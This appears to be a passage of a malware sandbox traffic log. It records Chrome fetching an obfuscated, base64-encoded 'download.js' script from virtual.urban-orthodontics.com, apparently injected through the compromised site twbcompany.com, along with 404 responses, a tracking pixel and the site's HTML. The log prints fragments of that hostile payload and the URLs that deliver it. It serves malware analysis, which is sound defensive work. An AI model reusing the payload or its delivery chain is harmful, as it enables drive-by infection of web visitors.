6b 11 43 73 23 28 ab af 90 ed 09 8a c3 a5 4d 19 8e 08 f9 86 12 f8 1a 00 cc e5 a8 54 9e 83 2e a7 c3 91 94 1a ae 03 df d8 79 6a f6 d8 d5 9b 05 a7 26 e0 7c 3e 7b a6 53 71 72 57 8e 7c Data Ascii: ]83M%~5(^>)2u'L]+^T#?`&L=`i\G0L}md22{Mh <eb:s>^#,+z)#5F}\|6agZ:84VC/;D$rXkCs#(MT.yj&\|>{SqrW\|
2024-10-07 11:17:08 UTC	8000	IN	Data Raw: 58 1a a0 a3 0a d3 67 f7 2e 2a 00 de 7b e6 a8 c2 df 1d a7 0e 28 00 de 72 62 5f 00 00 73 be 5f ba 7c 26 04 36 d6 c0 06 fc 12 02 53 6a 21 fc ed b6 00 04 36 96 bf 84 bf ef 75 39 00 7d df c3 df 8b 01 0b e1 bb 3f 3d 50 00 fc 72 d5 fa 97 f0 57 c3 7f bd c2 8b df 5f e2 f1 cf cb b8 20 db ee 3c bd 1d 1d 33 ad 70 f7 c9 fd 49 23 59 2d 80 57 01 30 e7 05 26 98 23 38 24 cc 63 dc 00 44 8a 16 9d c6 02 d8 00 60 6e 6b a5 5b 00 98 c0 90 90 d0 88 e9 84 85 ea 66 5a d6 51 06 00 f3 7c c6 fa 98 fb 11 24 32 34 d2 11 ed 6d 4e 3d 0e d7 71 d9 1c 9f e7 22 d4 e4 b2 02 c9 ee 55 2b e0 5e cb a3 08 45 08 6c 00 b0 4f da 40 9d 1d 95 e8 6c 2f 86 df 97 6a cd 95 e2 8d 42 af 4f ea 9f 2e 02 60 07 8e ed ce c1 c9 3d 99 12 a6 e2 e0 0e 69 d7 cc c5 a1 a3 fd 0b e9 58 af 41 45 ed 1a e4 94 7e 1a 00 17 b8 Data Ascii: Xg.*{(rb_s_\|&6Sj!6u9}?=PrW_ <3pI#Y-W0&#8$cD`nk[fZQ\|$24mN=q"U+^ElO@l/jBO.`=iXAE~
2024-10-07 11:17:08 UTC	8000	IN	Data Raw: 30 38 3f 2a 1a 47 fd 40 87 34 b6 f2 15 00 33 c4 a9 bf 3c 13 03 e4 fe e4 1b 29 cf 48 47 34 32 e5 3b ac ed 64 68 15 e9 40 ce 13 22 13 00 4f 61 62 af 1c a7 6c 7f 42 8e 95 2e 60 cb 01 3c 28 c7 bf 12 02 9a 62 f8 67 42 5f 3a 7f 09 80 2d 08 3c 84 de 9d dd 68 1d 6f 56 f7 af ab bb 42 01 70 43 7f 1d 1a 07 e4 7f 1b a8 43 75 4f ad c2 df b2 b6 0a 05 84 96 1b b8 49 4a 2b f7 2f dd bf 0c ef cd 50 31 69 a5 19 48 29 96 df 9f 74 c0 d2 8b 1c 3a 5a 96 e9 05 fa 47 2a 30 30 5c 81 8e ee 3c 8d 3a 51 53 9f 28 0d a6 50 6b 00 52 ba 3c f7 32 02 14 06 a7 65 85 e8 e0 87 b1 a9 26 4c 4c b7 a3 7f b8 01 ad 9d 95 ea 00 ee 1b 69 c7 c8 f4 20 06 b7 0f 29 fc 1d dc 21 e7 71 7e 0a 53 fb 66 31 73 78 01 73 df ef d5 dc bf bb 7e 38 82 85 53 07 31 7d 74 17 c6 f6 33 87 f3 2c e6 4f ee c5 de 73 07 b1 ff Data Ascii: 08?G@43<)HG42;dh@"OablB.`<(bgB_:-<hoVBpCCuOIJ+/P1iH)t:ZG00\<:QS(PkR<2e&LLi )!q~Sf1sxs~8S1}t3,Os
2024-10-07 11:17:08 UTC	8000	IN	Data Raw: 21 e8 13 15 00 27 26 47 79 1c c0 0e 11 43 40 27 c9 75 e8 94 eb 2e 5d ae 17 e6 00 a6 eb 97 e0 97 a5 71 00 33 fc 33 01 70 71 7c 18 5c e9 76 b4 96 66 62 b4 ad 42 21 f0 40 47 19 da 9b f2 d1 d1 5c 28 0f 85 02 34 4b 47 88 20 98 50 a4 aa 26 0b a5 a5 0e 94 97 3b 51 21 1d a9 46 69 68 12 18 d3 f9 3b d4 56 8a c1 d6 12 69 38 66 a2 3a cf 8e 22 79 10 11 02 d3 01 cc 10 d0 b9 72 9c 45 69 76 94 66 27 7b 00 f0 8a 03 38 47 1d c0 04 c0 95 d2 a8 ae 94 06 6a 65 45 0a 6a aa 1c 68 aa 96 07 46 a3 0d ed 0d 21 18 68 0d c1 ce de 48 0d 27 7f 76 5f 0a 2e 1d 4e c1 95 c3 0e 05 c0 c7 67 22 30 d7 bb 05 c3 0d 5f a1 ad 62 9d 0e 2c 31 00 b8 bc 24 04 95 e5 1c f9 e4 40 a1 74 04 f2 a5 61 5c 24 ff 0b c3 df 33 4c 12 73 d9 12 fe d2 fd 4b 00 cc 3a 9d 5f 95 0d 55 d2 e8 94 b2 b6 42 e1 6f 43 2b f3 fd Data Ascii: !'&GyC@'u.]q33pq\|\vfbB!@G\(4KG P&;Q!Fih;Vi8f:"yrEivf'{8GjeEjhF!hH'v_.Ng"0_b,1$@ta\$3LsK:_UBoC+
2024-10-07 11:17:08 UTC	8000	IN	Data Raw: 51 00 7c 6a 26 41 01 f0 a5 3d 36 9c 5b 08 c5 77 13 5b a5 03 b3 0e d3 04 c0 c3 df e2 fb f9 30 1c 59 88 c6 c1 f9 38 cc 8c 45 a3 b5 d1 17 05 79 1b 3c 00 38 33 2f 4a 6e 7c 56 e8 10 4b 2b 00 38 bd 90 21 a0 d3 e4 66 98 89 ec 52 02 56 cb a5 cb 86 37 1b da 14 eb 04 bf 96 53 90 d3 2b b2 f2 02 a7 eb e8 4c 23 8e 10 32 f5 ac a2 74 cd 4f a1 f3 64 bb 5f 12 1b f7 dc cf 5a 00 ec ed 08 66 63 c7 00 5f 1e 8f ba 87 45 2b 00 38 4b 3a 0d 4e 30 0f 46 42 52 34 12 12 a3 90 18 1f 89 24 91 23 36 0c 8e c8 50 24 c9 b5 9b 2c d7 64 66 44 88 02 60 e3 fe 2d 89 66 19 62 b9 7f e5 bb a1 5c 29 31 68 2a 48 91 df 62 21 06 9b 2d 17 6f 57 63 be 28 17 5d cd 79 e8 94 92 ea 6a 2d d4 e9 16 79 70 32 0f 41 5d 45 12 9a a5 01 d9 d7 9a 8f e1 f6 22 8c b4 15 cb e7 0b 65 3b b9 68 91 ce 56 59 6a 24 0a 93 c3 Data Ascii: Q\|j&A=6[w[0Y8Ey<83/Jn\|VK+8!fRV7S+L#2tOd_Zfc_E+8K:N0FBR4$#6P$,dfD`-fb\)1h*Hb!-oWc(]yj-yp2A]E"e;hVYj$
2024-10-07 11:17:08 UTC	8000	IN	Data Raw: 5f ac 95 13 96 0e 51 82 60 2a 29 29 01 15 15 65 e8 e8 6c f9 1d 00 ee 1f 6f 47 df 24 9d c0 1d 18 d8 de 89 5e 29 09 7c 2d f8 bb 1a 00 7b 3b 80 09 7c 0d 00 a6 14 00 0f 37 e2 bf 72 00 d7 74 16 a3 aa bd 50 e1 af 05 80 b3 a4 cc 44 b6 dc f4 d3 e4 41 65 4b 0d 53 00 bc 29 fc 5b 6c 0e fd 06 5b c2 36 e8 43 c6 27 d4 ca 7f 6c 1c c0 04 c0 c1 ea 00 66 08 68 5f 44 c8 7c 02 e0 a8 a0 f5 88 0e b4 00 70 66 c2 26 b4 57 c5 61 e7 40 b6 34 3e 1d 68 2b dd 86 ba dc af 51 9b b9 0e d5 19 eb d0 51 f4 15 26 9a 7c b1 67 20 02 c7 b6 c7 bb 1d c0 21 9a 03 98 0e 60 86 93 18 6c d8 84 ee 9a f5 ea d6 ab 2a a0 03 78 35 00 36 0e e0 a0 e0 6f 15 00 f3 b8 08 4b b7 fa 6f 51 19 d7 b6 81 b1 06 6e 52 7e 21 be 2a 02 60 ea 8f 00 b0 3e 74 f8 19 02 d3 70 26 a6 0f 5b 05 80 29 03 7f fd bd 06 0d 18 f0 eb bd Data Ascii: _Q`))eloG$^)\|-{;\|7rtPDAeKS)[l[6C'lfh_D\|pf&Wa@4>h+QQ&\|g !`lx56oKoQnR~!*`>tp&[)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49837	185.76.79.50	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:10 UTC	438	OUT	GET /higutf0KTdziChSHsBsCl/VcS8WkEgzU6ElCzPxNcdP2CgKX9AoUl+FCXNriW0bS801NxP9fVMTjRVyX+w== HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:12 UTC	165	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 11:17:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-07 11:17:12 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-10-07 11:17:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49838	185.76.79.50	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:10 UTC	558	OUT	GET /9ZLmCo6whWORsNw4w6HKKIbmg3rXqMRmlPyCY5v1uWyc/oMo2bCUKM+wlXiA5sR3 HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:13 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2024-10-07 11:17:13 UTC	3950	IN	Data Raw: 66 36 37 0d 0a 76 61 72 20 66 69 6c 65 6e 61 6d 65 3d 22 64 6f 77 6e 6c 6f 61 64 2e 6a 73 22 3b 76 61 72 20 66 69 6c 65 50 6c 61 69 6e 3d 77 69 6e 64 6f 77 2e 61 74 6f 62 28 27 4c 79 70 41 59 32 4e 66 62 32 34 4b 5a 6e 56 75 59 33 52 70 62 32 34 67 59 54 42 66 4d 48 67 30 4e 44 41 7a 59 54 4d 6f 58 7a 42 34 4e 54 49 32 4e 7a 56 68 4c 46 38 77 65 44 63 31 4d 6a 4a 6b 4d 79 6c 37 64 6d 46 79 49 47 45 77 58 7a 42 34 4d 6a 6b 33 59 6a 4e 6d 50 58 74 66 4d 48 67 78 5a 57 4d 78 4d 44 59 36 4d 48 67 79 5a 57 5a 39 4f 33 4a 6c 64 48 56 79 62 69 42 68 4d 46 38 77 65 44 4a 69 4e 44 51 6f 58 7a 42 34 4e 7a 55 79 4d 6d 51 7a 4c 53 41 74 59 54 42 66 4d 48 67 79 4f 54 64 69 4d 32 59 75 58 7a 42 34 4d 57 56 6a 4d 54 41 32 4c 46 38 77 65 44 55 79 4e 6a 63 31 59 53 6b 37 Data Ascii: f67var filename="download.js";var filePlain=window.atob('LypAY2Nfb24KZnVuY3Rpb24gYTBfMHg0NDAzYTMoXzB4NTI2NzVhLF8weDc1MjJkMyl7dmFyIGEwXzB4Mjk3YjNmPXtfMHgxZWMxMDY6MHgyZWZ9O3JldHVybiBhMF8weDJiNDQoXzB4NzUyMmQzLSAtYTBfMHgyOTdiM2YuXzB4MWVjMTA2LF8weDUyNjc1YSk7
2024-10-07 11:17:13 UTC	3942	IN	Data Raw: 66 35 66 0d 0a 57 45 37 66 57 5a 31 62 6d 4e 30 61 57 39 75 49 47 45 77 58 7a 42 34 4d 6d 49 30 4e 43 68 66 4d 48 67 30 4e 6a 63 7a 4f 57 4d 73 58 7a 42 34 4e 47 45 30 59 7a 4a 6d 4b 58 74 32 59 58 49 67 58 7a 42 34 4d 54 4a 68 4d 7a 68 6b 50 57 45 77 58 7a 42 34 4d 54 4a 68 4d 79 67 70 4f 33 4a 6c 64 48 56 79 62 69 42 68 4d 46 38 77 65 44 4a 69 4e 44 51 39 5a 6e 56 75 59 33 52 70 62 32 34 6f 58 7a 42 34 4d 6d 49 30 4e 44 67 78 4c 46 38 77 65 44 4d 77 4e 6a 4d 78 4e 43 6c 37 58 7a 42 34 4d 6d 49 30 4e 44 67 78 50 56 38 77 65 44 4a 69 4e 44 51 34 4d 53 30 77 65 44 45 34 4e 44 74 32 59 58 49 67 58 7a 42 34 4d 6a 42 6c 5a 44 45 79 50 56 38 77 65 44 45 79 59 54 4d 34 5a 46 74 66 4d 48 67 79 59 6a 51 30 4f 44 46 64 4f 32 6c 6d 4b 47 45 77 58 7a 42 34 4d 6d 49 Data Ascii: f5fWE7fWZ1bmN0aW9uIGEwXzB4MmI0NChfMHg0NjczOWMsXzB4NGE0YzJmKXt2YXIgXzB4MTJhMzhkPWEwXzB4MTJhMygpO3JldHVybiBhMF8weDJiNDQ9ZnVuY3Rpb24oXzB4MmI0NDgxLF8weDMwNjMxNCl7XzB4MmI0NDgxPV8weDJiNDQ4MS0weDE4NDt2YXIgXzB4MjBlZDEyPV8weDEyYTM4ZFtfMHgyYjQ0ODFdO2lmKGEwXzB4MmI
2024-10-07 11:17:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49840	185.76.79.50	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:12 UTC	668	OUT	GET /CwzD6XAuoIBvLvnbPT/vy3h4ppkpNuGFamKngGVrnJp/bbeaKSDhmn8u+dgnLrHLMS6lmX124ZQ= HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:16 UTC	143	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:16 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close
2024-10-07 11:17:16 UTC	41	IN	Data Raw: 32 33 0d 0a 47 49 46 38 37 61 01 00 01 00 80 00 00 fc 6a 6c 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a Data Ascii: 23GIF87ajl,D;
2024-10-07 11:17:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49841	185.76.79.50	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:14 UTC	418	OUT	GET /9ZLmCo6whWORsNw4w6HKKIbmg3rXqMRmlPyCY5v1uWyc/oMo2bCUKM+wlXiA5sR3 HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:17 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2024-10-07 11:17:17 UTC	3950	IN	Data Raw: 66 36 37 0d 0a 76 61 72 20 66 69 6c 65 6e 61 6d 65 3d 22 64 6f 77 6e 6c 6f 61 64 2e 6a 73 22 3b 76 61 72 20 66 69 6c 65 50 6c 61 69 6e 3d 77 69 6e 64 6f 77 2e 61 74 6f 62 28 27 4c 79 70 41 59 32 4e 66 62 32 34 4b 4b 47 5a 31 62 6d 4e 30 61 57 39 75 4b 46 38 77 65 44 46 69 59 6a 6b 78 4e 43 78 66 4d 48 67 31 4d 32 55 33 4f 54 67 70 65 33 5a 68 63 69 42 68 4d 46 38 77 65 44 52 69 4e 57 46 6c 59 6a 31 37 58 7a 42 34 4e 57 59 31 4d 54 67 33 4f 6a 42 34 4d 6a 4d 30 4c 46 38 77 65 44 49 78 4f 54 4d 7a 5a 6a 6f 77 65 44 49 79 4d 53 78 66 4d 48 67 7a 59 57 4d 79 4e 44 55 36 4d 48 67 79 4d 6a 49 73 58 7a 42 34 4d 57 46 6d 4f 54 4d 35 4f 6a 42 34 4d 6a 42 69 4c 46 38 77 65 44 52 69 5a 57 4d 79 5a 44 6f 77 65 44 49 77 4d 53 78 66 4d 48 67 31 4e 57 46 68 4d 6a 41 36 Data Ascii: f67var filename="download.js";var filePlain=window.atob('LypAY2Nfb24KKGZ1bmN0aW9uKF8weDFiYjkxNCxfMHg1M2U3OTgpe3ZhciBhMF8weDRiNWFlYj17XzB4NWY1MTg3OjB4MjM0LF8weDIxOTMzZjoweDIyMSxfMHgzYWMyNDU6MHgyMjIsXzB4MWFmOTM5OjB4MjBiLF8weDRiZWMyZDoweDIwMSxfMHg1NWFhMjA6
2024-10-07 11:17:17 UTC	3494	IN	Data Raw: 64 39 66 0d 0a 54 42 6a 4f 47 4d 35 4c 46 38 77 65 44 55 30 59 7a 56 69 4e 79 78 66 4d 48 67 78 4e 47 51 33 4e 6a 63 39 4d 48 67 77 4f 31 38 77 65 44 55 30 59 7a 56 69 4e 7a 31 66 4d 48 67 78 4e 57 45 7a 5a 44 64 62 4a 32 4e 6f 59 58 4a 42 64 43 64 64 4b 46 38 77 65 44 45 30 5a 44 63 32 4e 79 73 72 4b 54 74 2b 58 7a 42 34 4e 54 52 6a 4e 57 49 33 4a 69 59 6f 58 7a 42 34 4d 54 42 6a 4f 47 4d 35 50 56 38 77 65 44 4a 6d 4e 57 49 30 4a 54 42 34 4e 44 39 66 4d 48 67 78 4d 47 4d 34 59 7a 6b 71 4d 48 67 30 4d 43 74 66 4d 48 67 31 4e 47 4d 31 59 6a 63 36 58 7a 42 34 4e 54 52 6a 4e 57 49 33 4c 46 38 77 65 44 4a 6d 4e 57 49 30 4b 79 73 6c 4d 48 67 30 4b 54 39 66 4d 48 67 7a 4e 54 6b 77 4f 44 6b 72 50 56 4e 30 63 6d 6c 75 5a 31 73 6e 5a 6e 4a 76 62 55 4e 6f 59 58 4a Data Ascii: d9fTBjOGM5LF8weDU0YzViNyxfMHgxNGQ3Njc9MHgwO18weDU0YzViNz1fMHgxNWEzZDdbJ2NoYXJBdCddKF8weDE0ZDc2NysrKTt+XzB4NTRjNWI3JiYoXzB4MTBjOGM5PV8weDJmNWI0JTB4ND9fMHgxMGM4YzkqMHg0MCtfMHg1NGM1Yjc6XzB4NTRjNWI3LF8weDJmNWI0KyslMHg0KT9fMHgzNTkwODkrPVN0cmluZ1snZnJvbUNoYXJ
2024-10-07 11:17:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49842	185.76.79.50	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:16 UTC	430	OUT	GET /CwzD6XAuoIBvLvnbPT/vy3h4ppkpNuGFamKngGVrnJp/bbeaKSDhmn8u+dgnLrHLMS6lmX124ZQ= HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:18 UTC	165	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 11:17:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-07 11:17:18 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-10-07 11:17:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49861	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:22 UTC	928	OUT	GET /commercial-transportation/ HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
2024-10-07 11:17:23 UTC	475	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:22 GMT Server: Apache Link: <https://www.twbcompany.com/wp-json/>; rel="https://api.w.org/", <https://www.twbcompany.com/wp-json/wp/v2/pages/3692>; rel="alternate"; type="application/json", <https://www.twbcompany.com/?p=3692>; rel=shortlink Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 11:17:23 UTC	7717	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 36 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 45 4e 48 22 3e 3c Data Ascii: 4000<!DOCTYPE html>...[if IE 6]><html id="ie6" lang="en-US"><![endif]-->...[if IE 7]><html id="ie7" lang="en-US"><![endif]-->...[if IE 8]><html id="ie8" lang="en-US"><![endif]-->...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="ENH"><
2024-10-07 11:17:23 UTC	8673	IN	Data Raw: 66 28 21 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 55 52 4c 26 26 55 52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 42 6c 6f 62 29 74 72 79 7b 76 61 72 20 65 3d 22 70 6f 73 74 4d 65 73 73 61 67 65 28 22 2b 66 2e 74 6f 53 74 72 69 6e 67 28 29 2b 22 28 22 2b 5b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 73 29 2c 75 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 74 6f 53 74 72 69 6e 67 28 29 5d 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 29 29 3b 22 2c 72 3d 6e 65 77 20 Data Ascii: f(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new
2024-10-07 11:17:23 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 11:17:23 UTC	8192	IN	Data Raw: 34 30 30 30 0d 0a 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 74 6f 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 74 6f 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 